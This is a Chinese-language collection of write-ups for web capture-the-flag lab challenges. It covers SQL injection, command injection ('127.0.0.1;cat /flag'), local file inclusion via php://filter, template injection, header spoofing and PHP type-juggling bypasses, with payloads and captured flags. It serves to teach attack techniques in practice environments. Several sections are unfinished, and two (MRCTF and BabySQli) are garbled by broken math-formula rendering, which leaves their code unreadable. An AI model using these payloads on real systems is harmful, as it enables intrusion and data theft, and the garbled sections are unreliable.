[极客大挑战2019]EasySQL
我们点进靶机,看到是用户名和密码登录,再结合题目sql,我们才想到这个一道SQL注入的题目。
我们使用万能密码,就得到了flag:flag{3faed954-a380-4d93-b802-d1ed776c1b1a}
[极客大挑战2019]Havefun
我们点进靶机,右键检查
得到一段PHP代码,我们分析一下知道使用get方式传参,如果cat=dog ,则输出flag
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
我们在URL后面添加/?cat=dog,就得到了flag:
[HCTF2018]WarmUp
右键查看页面源代码,看到有个source.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
我们在URL后面添加/source.php,进入新的页面,发现有个hint.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们在原来的界面URL后面加上/hint.php,发现flag在ffffllllaaaagggg里面
我们回到source.php界面,根据代码的要求,在url后面加上/source.php?file=hint.php?ffffllllaaaagggg,发现新界面和source.php界面只是没有照片。
我们的思路就是正确的,可能只是flag不在这个目录,那么我们就遍历目录(…/)试一试,尝试多次后,最终得到flag:flag{d8c68cf3-fc39-4bd5-beec-59144cb9bcb9}
[ACTF2020 新生赛]Include
我们点进靶机,看到以下界面
我们点击“tips",进入一下界面,发现在地址栏这里有一个file=flag.php
我们使用/?file=php://filter/read=convert.base64-encode/resource=flag.php,打开flag.php文件,得到一串base64编码
我们进行base64解码,解码得到一下一串代码,于是flag:flag{3aa81c08-0ea9-42e8-83e8-3724bd2648dd}
<?php
echo "Can you find out the flag?";
//flag{3aa81c08-0ea9-42e8-83e8-3724bd2648dd}
[ACTF2020 新生赛]Exec
我们随便输一个ping地址(127.0.0.1),它显示:已发送3个数据包,已接收3个数据包,数据包丢失率为0%。3个数据包都来自127.0.0.1。
输入127.0.0.1;ls /,利用;来输入命令。
我们发现有个·flag文件,输入127.0.0.1;cat /flag进行查看flag文件,于是得到flag:flag{d81837e0-b908-4a0a-bac0-23ff569befe1}
[GXYCTF2019]Ping Ping Ping
我们点进靶机,进入界面只有这个
我们在URL上面添加/?ip=127.0.0.1,进入一下界面,内容成功回显
我们在URL后面改为添加/?ip=127.0.0.1;ls ,我们发现了flag.php和index.php
URL添加/?ip=127.0.0.1;cat flag.php,发现可能是空格被过滤了
添加/?ip=127.0.0.1;cat<flag.php,发现符号被过滤了
我们看一下index.php,进行相同的操作发现同样被过滤了
构造payload:/?ip=127.0.0.1;a=g;cat$IFS
9
f
l
a
9fla
9flaa.php
我们查看页面源代码,就看到了flag:flag{de261984-10ac-4604-ad11-795d62827f73}
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.036 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.060 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.059 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.071 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.036/0.056/0.071 ms
<?php
$flag = "flag{de261984-10ac-4604-ad11-795d62827f73}";
?>
[SUCTF 2019]EasySQL
我们除了输入整数会出现内容,输入其他内容没有任何显现
尝试堆叠注入,输入1;show databases;#
输入1;show columns from Flag;#
在输入*;1,于是就得到了flag:flag{fac64f95-3877-4f3e-9772-47bb8585b31a}
[强网杯 2019]随便注
输入1
输入1‘
输入1’ or ‘1’=‘1,综合分析这是字符型注入,字段数为2
查询数据库名,输入1’ union select 1,2#,发现回显大量过滤
尝试堆叠注入,输入1’;show databases;#,成功回显,说明存在堆叠注入
查看表,输入1’;show tables;#
查看words,输入1’;show columns from words;#,发现有id,data
输入1’; show columns from 1919810931114514; #,发现flag
输入1’;rename table words to word;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show columns from words;#
我们在输入1’ or '1=1,就得到了flag
[极客大挑战 2019]LoveSQL
点进靶机,发现是用户和密码登录
使用万能密码,显示错误
先判断字段数(/check.php?username=admin&password=1’+order+by+4%23),发现字段数为3
使用联合查询,得到了回显位置
查询数据库名1’ union select 1,2,database()#
查询数据库表名1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#
查询l0ve1ysq1表的字段名1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#
查询字段1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#,就得到了flag:flag{5366f7aa-8040-44fc-bd88-bd0cfc671f3d}
[极客大挑战 2019]Secret File
我们先查看页面源代码,发现有个目录我们点进去看看
<!DOCTYPE html>
<html>
<style type="text/css" >
#master {
position:absolute;
left:44%;
bottom:0;
text-align :center;
}
p,h1 {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title>蒋璐源的秘密</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
我们在原页面URL后面添加/Archive_room.php
点击secret,我们查看源代码也没有任何有用的东西
我们抓个包试一试,我们发现有一个secr3t.php,我们进入这个目录看一看
我们得到了一段代码,发现flag放在了flag.php里
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
我们在URL后面添加flag.php,查看页面源代码没有发现任何东西,在根据它说“你看不到我,我就在这里”,猜测可能是PHP的封装协议
我们构造payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
将得到的base64编码进行解码得到一段代码,得到flag:flag{d4fe3fd8-c859-4ab3-9b5e-5079c6f478c3}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{d4fe3fd8-c859-4ab3-9b5e-5079c6f478c3}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
[极客大挑战 2019]Http
我们查看页面源代码,发现有一个Secret.php
我们进入这个目录,发现这个页面得来自于https://Sycsecret.buuoj.cn,那么我们添加referer
根据提示,我们要使用Syclover浏览器
我们添加User-Agent:Syclover,我们发现要在本地
添加X-Forwarded-For:127.0.0.1,我们于是就得到了flag:flag{2616f8dc-220f-42f9-aba8-c75610c77e6e}
[极客大挑战 2019]Upload
我们查看页面源代码,发现有一个upload_file.php目录
<!DOCTYPE html>
<html lang="zh">
<style>
.button {
background-color: #5DADE2; /* Green */
border: none;
color: white;
padding: 8px 20px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 12px;
margin: 4px 2px;
cursor: pointer;
-webkit-transition-duration: 0.4s; /* Safari */
transition-duration: 0.4s;
border-radius: 8px;
}
.button:hover {
background-color: #555555;
color: white;
}
</style>
<head>
<meta charset="UTF-8">
<title>上传头像</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>
<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div align="center">
<label for="file" style="font:20px Georgia,serif;">图片:</label>
<input type="file" name="file" id="file" >
<input type="submit" name="submit" value="提交" class="button">
</div>
</form>
<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>
我们在URL后面加上upload_file.php
[极客大挑战 2019]Knife
[ACTF2020 新生赛]Upload
[极客大挑战 2019]BabySQL
输入用户名admin,密码1’
有报错信息知道:存在SQL注入漏洞
尝试常规注入:/check.php?username=admin&password=1’ union select 1#
根据得到的信息,发现union、select可能被过滤了,那么我们尝试双写绕过:/check.php?username=admin&password=1’ ununionion seselectlect 1#
信息继续报错,尝试URL编码,构造payload:/check.php?username=admin&password=1’ ununionion seselectlect 1,2,3%23。出现回显位置2,3
爆数据库:/check.php?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
猜测flag可能就在ctf中,爆表:/check.php?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema=“ctf” %23
查字段名:/check.php?username=admin&password=pwd ’ ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns) whwhereere table_name=“Flag”%23
/check.php?username=admin&password=pwd ’ ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23
于是就得到了flag:
[RoarCTF 2019]Easy Calc
我们随便输入一个计算式,查看页面源代码,也没有发现什么有用的
![在这里插入图片描述](https://i-blog.csdnimg.cn/
我们抓个包试一试,发现有一个calc.php目录
访问calc.php目录,发现有一个黑名单
尝试/calc.php?num=phpinfo()
在尝试/calc.php? num=phpinfo()
发现/被过滤了,我们尝试使用chr(47)进行目录读取:/calc.php? num=1;var_dump(scandir(chr(47)))
构造:/flagg–chr(47).chr(102).chr(49).chr(97).chr(103)
构造payload:/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
于是得到flag:flag{0a60def8-e138-4f49-bebd-c1d2b45d528a}
[极客大挑战 2019]BuyFlag
点进界面右上角MENU,在点击PAYFLAG,得到以下界面
查看页面源代码,发现了一段有用的代码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
分析发现:用post方法传参,money=100000000,password为404的同时且不能为数字(弱类型)直接password=404a,
我们抓个包,没看到什么,看了别人的题解发现自己是没有cookie,目前还没有解决这个问题
[BJDCTF2020]Easy MD5
我们查看页面源代码,没发现什么。我们抓个包试一试
[HCTF 2018]admin
界面右上角有一个登录和注册
进入登录界面
进入注册界面
我们先注册一个账号admin/123456,结果显示被注册过;
注册admin/admin,结果显示密码格式错误
在注册123456/123456,显示注册成功
在登陆界面,我们输入123456/123456
查看页面源代码,发现有一段有用的代码,分析一下:可能以admin登录成功,就能得到flag
<h1 class="nav">Hello 123456</h1>
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
<script type="text/javascript">
$(document).ready(function () {
// 点击按钮弹出下拉框
$('.ui.dropdown').dropdown();
// 鼠标悬浮在头像上,弹出气泡提示框
$('.post-content .avatar-link').popup({
inline: true,
position: 'bottom right',
lastResort: 'bottom right'
});
})
</script>
</body>
</html>
我们发现右上角这个地方多了一些东西
进入index界面,发现和原界面一样,页面源代码也一样
进入post界面,在页面源代码也没有发现什么
进入logout界面,又回到了最初的界面
进入change password界面,先输入原用户名和密码在登陆,直接输入新密码就可以修改密码了
我们在change password界面的页面源代码发现了一个GitHub网址
<div class="ui grid">
<div class="four wide column"></div>
<div class="eight wide column">
<!-- https://github.com/woadsl1234/hctf_flask/ -->
<form class="ui form segment" method="post" enctype="multipart/form-data">
<div class="field required">
<label>NewPassword</label>
<input id="newpassword" name="newpassword" required type="password" value="">
</div>
<input type="submit" class="ui button fluid" value="更换密码">
</form>
</div>
</div>
<script type="text/javascript">
$(document).ready(function () {
// 点击按钮弹出下拉框
$('.ui.dropdown').dropdown();
// 鼠标悬浮在头像上,弹出气泡提示框
$('.post-content .avatar-link').popup({
inline: true,
position: 'bottom right',
lastResort: 'bottom right'
});
})
</script>
</body>
</html>
我们访问一下这个网址,呃呃呃呃为什么显示page not fuond
看了其他大佬的WP,发现正常访问这个网址后可以下载一个flask文档,解压后可以打开文件夹的index.html文件(看到的是这个大佬的文章解析:poggioxay)
只要从session中得到的值name为admin就会显现flag
[护网杯 2018]easy_tornado
出现三个链接
点击/flag.txt,发现flag在/fllllllllllllag
点击welcome.txt
render的相关信息
点击/hint.txt,将cookie_secret+filename的值md5加密后的值,整数在md5加密;然后把最后的值赋给filename
我们发现每次点击txt文件,URL都出现了filehash(即加密)。
我们先尝试只输入filename的值而忽略filename,结果出来的内容,URL变成了/error?msg=Error
再结合render的信息,发现问题可能是模板注入,经测试发现过滤了。
构造payload:/error?msg={{1*2}}
继续构造payload:/error?msg={{handler.settings}},得到cookie_secret:31bfac93-3561-4d78-8113-2c3b67c872ad
filename的值md5加密后为3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+filename加密后的值为f1be15c3025969d45ea4bda4d5d14077
构造payload:/file?filename=/fllllllllllllag&filehash=f1be15c3025969d45ea4bda4d5d14077
于是得到了flag:flag{5c3d378d-456e-4f9f-b42b-761ceceaa9ec}
[ZJCTF 2019]NiZhuanSiWei
分析代码,发现注释里面有一个useless.php
我们进入useless.php目录,发现是一片空白。
我们在继续分析代码:
构造:data://text/plain,welcome to the zjctf,由于为了1绕过某些过滤,这里用到base64编码
那么我们构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
因为有一个可控函数file,构造file=useless.php,又因为对于php文件我们需要进行base64编码,那么我们构造payload:file=php://filter/read=convert.base64-d2VsY29tZSB0byB0aGUgempjdGY=/resource=useless.php
最后卡在这里了,看了其他大佬的WP,大家可以借鉴借鉴。
发现是“构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=”这里出现了问题,得到的界面不同。
我直接使用大佬的这个结论构造:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
再查看页面源代码,于是就得到flag:flag{df640cf7-d303-43f3-be1b-89f1522b842e}
[MRCTF2020]Ez_bypass
点进靶场,原界面
我们分析一下代码:
- include ‘flag.php’;:这行代码包含了一个名为flag.php的文件,这个文件可能包含了一些全局变量或者函数的定义。
f l a g = ′ M R C T F x x x x x x x x x x x x x x x x x x x x x x x x x ′ ; :定义了一个变量 flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';:定义了一个变量 flag=′MRCTFxxxxxxxxxxxxxxxxxxxxxxxxx′;:定义了一个变量flag,它的值是一个以MRCTF{开头的字符串,后面跟着一串未知的字符,这通常是一个安全竞赛中的“flag”,用于证明你已经成功破解了某个挑战。
- if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 12: _GET['gg'])&̲&isset(_GET[‘id’])) {:这个条件检查是否通过GET请求传入了gg和id两个参数。
i d = id= id=_GET[‘id’]; g g = gg= gg=_GET[‘gg’];:如果gg和id参数存在,它们将被赋值给 i d 和 id和 id和gg变量。
- if (md5( i d ) = = = m d 5 ( id) === md5( id)===md5(gg) && $id !== KaTeX parse error: Expected '}', got 'EOF' at end of input: gg) {:这个条件检查id和 g g 的 M D 5 哈希值是否相等,同时确保 gg的MD5哈希值是否相等,同时确保 gg的MD5哈希值是否相等,同时确保id和 g g 本身不相等。这意味着 gg本身不相等。这意味着 gg本身不相等。这意味着id和$gg是两个不同的字符串,但它们的MD5哈希值相同,这种情况非常罕见,因为MD5被认为是一种单向散列函数,不同的输入应该产生不同的输出。
- echo ‘You got the first step’;:如果上述条件满足,输出“你完成了第一步”。
- if(isset($_POST[‘passwd’])) {:检查是否通过POST请求传入了passwd参数。
p a s s w d = passwd= passwd=_POST[‘passwd’];:如果passwd参数存在,将其值赋给$passwd变量。
- if (!is_numeric(KaTeX parse error: Expected '}', got 'EOF' at end of input: passwd)) {:检查passwd是否不是数字。
- if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …==1234567) {:如果passwd不是数字,并且它的值等于1234567,则输出“干得好!”并显示flag.php文件的内容,然后输出“By Retr_0”并结束脚本执行。
- else { echo “can you think twice??”; }:如果$passwd不是数字,并且它的值不等于1234567,则输出提示用户再想想。
- else{ echo ‘You can not get it !’; }:如果$passwd是数字,则输出“你得不到它!”。
- } else{ die(‘only one way to get the flag’); }:如果passwd参数不存在,则输出“只有一种方式可以得到flag”并结束脚本执行。
- } else{ die(‘Please input first’); }:如果gg和id参数不存在,则输出“请先输入”并结束脚本执行。 因为要求md5( i d ) = = m d 5 ( id)==md5( id)==md5(gg)&& i d ! = id!= id!=gg,那么我们使用数组绕过:/?id[]=a&gg[]=b接着post传参,我们直接传passwd=1234567,却没有任何反应分析发现这个is_numeric()函数有很大的用处,判断是否为数字或者数字字符串,那么我们这里需要的不是数字和数字字符串 那么那么我构造payload:passwd=1234567a,于是我们就得到了flag:flag{99dcf905-612a-4c9d-b14c-86d7ada9a2fc}
[GXYCTF2019]BabySQli
我们随便输入admin/123456
查看页面源代码,发现目录有一个search.php,页面源代码第一行是一段加密的字符
对加密的字符进行base64和base32解密,得到:select * from user where username = ‘
n
a
m
e
′
,这看起来是一条
S
Q
L
查询语句,它似乎用于从数据库中选择用户记录,其中用户名等于某个变量
name',这看起来是一条SQL查询语句,它似乎用于从数据库中选择用户记录,其中用户名等于某个变量
name′,这看起来是一条SQL查询语句,它似乎用于从数据库中选择用户记录,其中用户名等于某个变量name的值。
我们进行爆字段数:name=admin’ order by 3 #&pw=
我们抓个包试一试
先通过order by来确定有多少列:name=admin’ order by 1 %23&pw=123456!
版权归原作者 小狗菜cai 所有, 如有侵权,请联系我们删除。